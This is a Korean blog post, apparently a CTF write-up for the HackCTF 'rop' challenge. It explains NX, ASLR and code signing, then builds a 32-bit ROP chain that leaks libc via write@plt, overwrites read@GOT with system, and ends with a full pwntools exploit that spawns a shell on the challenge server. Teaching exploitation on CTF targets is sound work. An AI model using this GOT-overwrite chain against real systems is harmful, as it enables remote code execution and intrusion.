서론
왜 rop를 써야하는가?
NX bit랑 code signing, ASLR를 우회하기 위해 사용한다
1. NX bit:프로세서 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술
2. code signing:실행 파일과 스크립트에 디지털 서명을 하는 과정으로, 서명 이후에 코드가 변조되거나 손상되지 않음을 보장한다. 진위와 무결성 확인을 위해 암호화 해시를 사용한다.
3. ASLR:메모리상의 공격을 어렵게 하기 위해 스택이나 힙, 라이브러리 등의 주소를 랜덤으로 프로세스 주소 공간에 배치함으로써 실행할 때 마다 데이터의 주소가 바뀌게 하는 기법
HackCTF rop
rop.zip을 압축풀면 다음과 같은 파일이 나온다
- libc.so.6
- rop
rop 파일 분석
<main.c>
<vuln.c>
코드에서 확인 할수 있듯이 read함수와 write 함수를 이용하겠다.
시나리오
- read,write의 plt,got의 주소구하기 & bss 주소 구하기
- libc를 이용하여 read함수까지의 offset 구하기 & system offset 구하기
- pppr 가젯구하기
- read 함수의 실제주소 구하기
- bss에 /bin/sh 넣어주기
- read got를 system주소로 바꿔주기
- read함수를 실행해서 system("/bin/sh") 실행해주기
- 쉘얻어서 flag 얻기
#1 read,write plt,got 주소 구하기
방법은 다음중 하나로 구할수 있다.
- gdb&objdump를 이용
- pwntools를 이용
- ida 이용
gdb&objdump 이용
gdb로 info function사용하여 plt를 구한다
objdump -R rop | grep write 로 got 주소를 구한다
bss는 readelf -S rop 로 구한다
pwntools 사용방법
pwntools은 python모듈로 파일 혹은 서버로 값을 보낼때 유용하다
e = ELF("/home/ubuntu/rop_practice/hackrop/rop") #rop파일 위치
read_plt = e.plt['read']
write_plt = e.plt['write']
write = e.got['write']
read = e.got['read']
bss = e.bss()
read write system의 offset들은 objdump -d libc.so.6 | grep __read 같이 구한다
pop pop pop ret 가젯을 구한다
objdump -d rop | egrep 'pop|ret'
#read 함수 주소 얻어오기
payload = "a"*140
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read)
payload += p32(4)
#read 함수 주소 얻어오기
write는 인자를 3개 받으며 이를 pop으로 인자를 넣어줄수 있기때문이다 이를 해줘야 다음 함수를 정상적으로 부를 수가 있다
그뒤 1을 넣는 이유는
1이 출력 프로토콜이며 read got함수를 뒤에 넣어주어 실제 함수 주소를 빼오려는 것이다
이후 주소의 길이인 4를 입력한뒤 ret이 나올테니 다음 함수 주소를 입력한다
read_plt 함수를 통해 bss에 원하는 문자열("/bin/sh")을 넣어줄 준비를 한다
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
여기서 8은 문자열 길이이다
다음은 read 함수를 system 함수로 gotoverwrite하여한다
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read)
payload += p32(4)
이는 입력받은 read got를 뒤에 입력해줄 system 함수로 채울 준비를 하는 과정이다
다음은 system의 진짜 함수 주소를 구하는 방법이다
read_addr = u32(r.recv(4))
libc= read_addr - read_offset
sys_addr = libc + system_offset
우리는 read함수의 실제주소를 가져왔다 하지만 libc는 ASLR 기법으로 인해 주소가 매번 바귄다 하지만 offset 즉 함수들 간의 주소크기는 변하지 않는다 그래서 구해준 offset으로 system 함수를 구해준다
이후 bss에 원하는 값 "/bin/sh\x00"을 넣어주고
read함수 주소대신 구해준 system 함수를 넣어준다
r.send("/bin/sh\x00")
r.sendline(p32(sys_addr))
다음은 최종 exploit 이다
p32함수는 리틀엔디언으로 32 비트 pack해주는 함수이며
u32함수는 리틀엔디언이였던 것을 32비트로 unpack 해주는 함수이다.
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3021)
e = ELF("/home/ubuntu/rop_practice/hackrop/rop")
read_plt = e.plt['read']
write_plt = e.plt['write']
write = e.got['write']
read = e.got['read']
bss = e.bss()
read_offset = 0xd4350
system_offset = 0x0003a940
write_offset = 0xd43c0
pppr= 0x8048509
w_offset = 0xa9c50 # write - system
r_offset = 0xa9b80 #read - system
cmd = "/bin/sh"
payload = "a"*140
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read)
payload += p32(4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read)
payload += p32(4)
payload += p32(read_plt)
payload += "abcd"
payload += p32(bss)
r.sendline(payload)
read_addr = u32(r.recv(4))
libc= read_addr - read_offset
sys_addr = libc + system_offset
#sys_addr = read_addr - r_offset
r.send("/bin/sh\x00")
r.sendline(p32(sys_addr))
r.interactive()
다른 사람들의 블로그
'ROP' 카테고리의 다른 글
<함수의 PLT, GOT>&got overwrite (0) | 2021.02.19 |
---|